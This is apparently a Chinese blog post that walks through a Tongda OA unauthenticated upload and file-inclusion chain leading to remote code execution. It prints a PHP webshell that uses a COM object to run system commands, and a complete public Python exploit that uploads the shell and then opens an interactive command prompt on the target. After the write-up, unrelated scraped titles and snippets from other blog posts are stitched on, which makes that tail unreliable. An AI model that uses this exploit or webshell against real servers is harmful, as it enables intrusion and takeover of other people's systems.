影响

影响范围(但是只有V11版和2017版有包含文件的php,其余版本能上传文件.):

V11版 2017版 2016版 2015版 2013增强版 2013版。

这个漏洞是几个月前的漏洞,主要是学习一下这个漏洞代码的形成原理和调式过程。

该漏洞主要是通过绕过身份验证的情况下上传文件,然后通过文件包含漏洞实现代码执行

代码分析

源码经过zend 5.4加密,解密工具:

SeayDzend,可以自行百度下载

在线解密

http://dezend.qiling.org/free.html

任意文件上传的关键文件

webroot\ispirit\im\upload.php

代码分析:

可以看到只要判断P参数是否不为空,就开启了session

没有P参数时候

有的时候

继续往下走

判断DEST_UID是否不为空,否则就会退出

判断DEST_UID=0的时候,如果UPLOAD_MODE不等于2就直接退出了

判断DEST_UID不等于0的时候直接判断$_FILES数量是否有,也就是判断有没有上传文件

这里可以是第二个情况,DEST_UID=0,UPLOAD_MODE=2进行下一步

也可以是DEST_UID不为0进入下一步

继续往下走

可以这里又if语判断上传的模式,我们来看看上传的模式有哪几种,可以看到总共有1,2,3,其中1,2,3如果成功了是有回显的

这里设置upload_mode为1,进入upload函数

会判断是否/字符,然后判断上传的文件是否符合可上传的格式,我们继续走is_uploadable

可以看到如果上传的格式是php,会返回false,这里用xxx.php.绕过

回过头来看upload函数,最终会返回一个$ATTACHMENTS的数组,包含了ID,和NAME

继续跟进,发现ATTACHMENTS是由add_attach函数生成的

继续跟进

发现$FILENAME的拼成

继续往下走的时候发现$path,和文件名的最终结果

各种追踪发现就是attch/im/$YM/文件夹下面

其实不用这么复杂,就直接上传文件,然后搜索那个文件最终放在哪不就完事了吗?或者使用火绒剑分析行为和D盾进行文件监控

上传结合前面的分析需要的参数有

这里不同的上传模式,回显的格式不一样,这里的2格式舒服点,目录就是2003,文件名对应后面的ID

由于这里的关键上传了文件后OA系统有个文件包含漏洞,结合文件包含漏洞就可以实现RCE

文件包含代码位置

/ispirit/interface/gateway.php

首先会接受一个json数据,然后转换为数组,然后遍历这个数据,如果key是url,url就对应值

然后继续走

然后走到strpos,可以看到如果出现general/,ispirit,module/就会触发文件包含构造payload

/general/../../attach/im/2003/1191415788.1.php

由于我上传的时候是phpinfo函数,是禁用了这个函数的和危险函数,这里可以使用写入一个webshell在当前执行的/ispirit/interface/目录下

记得这里文件名前面要加个\

当然也可以使用COM组件bypass 危险函数

<?php $command=$_POST['cmd'];$wsh = new COM('WScript.shell');$exec = $wsh->exec("cmd /c ".$command);$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>

也可以直接使用文件包含配合日志getshell

直接触发nginx的错误日志,利用文件包含直接getshell

利用网上公开的脚本:

#!/usr/bin/env python3# -*- encoding: utf-8 -*-# oa通达文件上传加文件包含远程代码执行import requestsimport reimport sysdef oa(url):    upurl = url + '/ispirit/im/upload.php'    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=---------------------------27723940316706158781839860668"}    data = "-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"ATTACHMENT\"; filename=\"jpg\"\r\nContent-Type: image/jpeg\r\n\r\n<?php \r\n$command=$_POST['cmd'];\r\n$wsh = new COM('WScript.shell');\r\n$exec = $wsh->exec(\"cmd /c \    req = requests.post(url=upurl, headers=headers, data=data)    filename = "".join(re.findall("2003_(.+?)\|",req.text))    in_url = url + '/ispirit/interface/gateway.php'    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}    data = "json={\"url\":\"../../../general/../attach/im/2003/%s.jpg\"}&cmd=%s" % (filename,"echo php00py")    include_req = requests.post(url=in_url, headers=headers, data=data)    if  'php00py' in include_req.text:        print("[+] OA RCE vulnerability ")        return filename    else:        print("[-] Not OA RCE vulnerability ")        return Falsedef oa_rce(url, filename,command):    url = url + '/ispirit/interface/gateway.php'    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}    data = "json={\"url\":\"../../../general/../attach/im/2003/%s.jpg\"}&cmd=%s" % (filename,command)    req = requests.post(url, headers=headers, data=data)    print(req.text)if __name__ == '__main__':        if len(sys.argv) < 2:            print("please input your url python oa_rce.py http://127.0.0.1:8181")        else:            url = sys.argv[1]            filename = oa(url)            while filename:                try:                    command = input("wran@shelLhost#")                    if command == "exit" or command == "quit":                        break                    else:                        oa_rce(url,filename,command)                except KeyboardInterrupt:                    break

脚本用的是COM绕过

end

php forms 上传更新json_通达OA任意文件上传漏洞详细分析相关推荐

  1. 通达OA任意文件上传/文件包含RCE漏洞分析

    通达OA任意文件上传/文件包含RCE漏洞分析 0x01 前提 0x01 漏洞介绍 0x02 漏洞分析 首先下载安装 绕过身份验证文件上传部分 变量传递问题 文件包含部分 0x01 前提 关于这个漏洞的 ...

  2. 通达+oa+php+文件+乱,通达OA 任意文件上传+文件包含导致RCE

    0x00 漏洞描述 ispirit/im/upload.php存在绕过登录(任意文件上传漏洞),结合gateway.php处存在的文件包含漏洞,最终导致getshell,或者直接利用日志文件写入she ...

  3. 通达+oa+php+文件+乱,通达OA任意文件删除/OA未授权访问+任意文件上传RCE漏洞复现...

    0x00 简介 通达OA采用基于WEB的企业计算,主HTTP服务器采用了世界上最先进的Apache服务器,性能稳定可靠.数据存取集中控制,避免了数据泄漏的可能.提供数据备份工具,保护系统数据安全.多级 ...

  4. 通达OA任意用户伪造登录漏洞分析与复现

    2020年04月17日, 通达OA官方在更新了一个v11版本安全补丁, 其中修复了一个任意用户伪造登录漏洞.未经授权的攻击者可以通过构造进行任意用户登录(包括admin),登录之后可进一步上传恶意文件 ...

  5. html 文件上传_某平台存在多处任意文件上传

    文章来源: EDI安全 01 漏洞标题 某平台存在多处任意文件上传 02 漏洞类型 文件上传 03 漏洞等级 中危 04 漏洞地址 http://xxxx.xxxxx.com/er.app.xxxx/ ...

  6. html对定位图片的某一部分_某系统存任意文件上传

    文章来源:EDI安全 01 漏洞标题 某系统存任意文件上传 02 漏洞类型 文件上传 03 漏洞等级 中危 04 漏洞地址 http://xxx.xx.xx.xx:9090/Common/xxxxx/ ...

  7. 通达OA未授权任意文件上传及文件包含漏洞分析学习

    今年3月份通达OA爆出了文件上传和文件包含漏洞,网络上很多复现和分析的博客,今天我也来试着分析分析,据360灵腾安全实验室判断该漏洞等级为高,利用难度低,威胁程度高,所以可能比较适合代码审计的新手来练 ...

  8. 通达OA v11.3 以下版本 任意文件上传加文件包含导致命令执行漏洞在线实验环境

    转载自: [通达OA <= v11.3 任意文件上传+文件包含导致命令执行漏洞利用]- https://store.vsplate.com/cn/post/519/ 在线环境地址:https:/ ...

  9. 文件上传漏洞_通达OA前台任意文件上传漏洞+文件包含漏洞导致getshell

    点击蓝字|关注我们 通达OA前台任意文件上传漏洞 +文件包含漏洞导致getshell 一.漏洞介绍/Profile/ 通达OA介绍: 通达OA(Office Anywhere网络智能办公系统)是由北京 ...

最新文章

  1. DDR: efficient computational method to predict drug–target interactions using graph mining and machi
  2. 3ds max 多个物体合并
  3. 创建一个简单的存储过程(RroGetA_Z),要求输出A到Z之间的26个大写字母
  4. T-SQL查询进阶--基于列的逻辑表达式
  5. OpenGL定向光的投影阴影
  6. docker 安装ElasticSearch 6.x
  7. 史上最全 BAT 大厂面试题整理
  8. java自定义菜单跳转页面_微信公众号开发 自定义菜单跳转页面并获取用户信息实例详解...
  9. TUN/TAP设备浅析(三) -- TUN/TAP设备的应用
  10. jvm 加载class文件过程
  11. STM8 ADC转换模式-------单次扫描模式
  12. 15-struct(构造函数,重载)
  13. Python让繁琐工作自动化——chapter15 保持时间、计划任务和启动程序
  14. JAVA黑马刘意学习笔记
  15. 单片机c语言轻松入门 pdf,单片机系统C语言轻松入门.pdf
  16. matlab 线性分析,线性系统稳定性分析的MATLAB分析方法.doc
  17. Context上下文到底是个什么东东?
  18. aardio - 范例搜索工具
  19. 【数据结构】-图-输出顶点u到v的所有简单路径
  20. 分享RTFM和STFW的意思

热门文章

  1. 【干货】分库分表最佳实践
  2. NavicatPremium连接MySQL出现异常Authentication plugin ‘caching_sha2_password‘ cannot be loaded的解决方案
  3. 无限试用CrossOver 15天的办法
  4. 为什么每月工资一样,但扣的个税不一样?
  5. Istio 自动注入 sidecar 不成功及k8s安装istio后pod无法创建解决方案
  6. redis中执行lua脚本命令
  7. spring mvc工作原理及组件说明
  8. Spring AOP编程-aspectJ通知类型-6大通知
  9. 使用$.ajax向服务器发送请求
  10. 【windows】CMake安装小结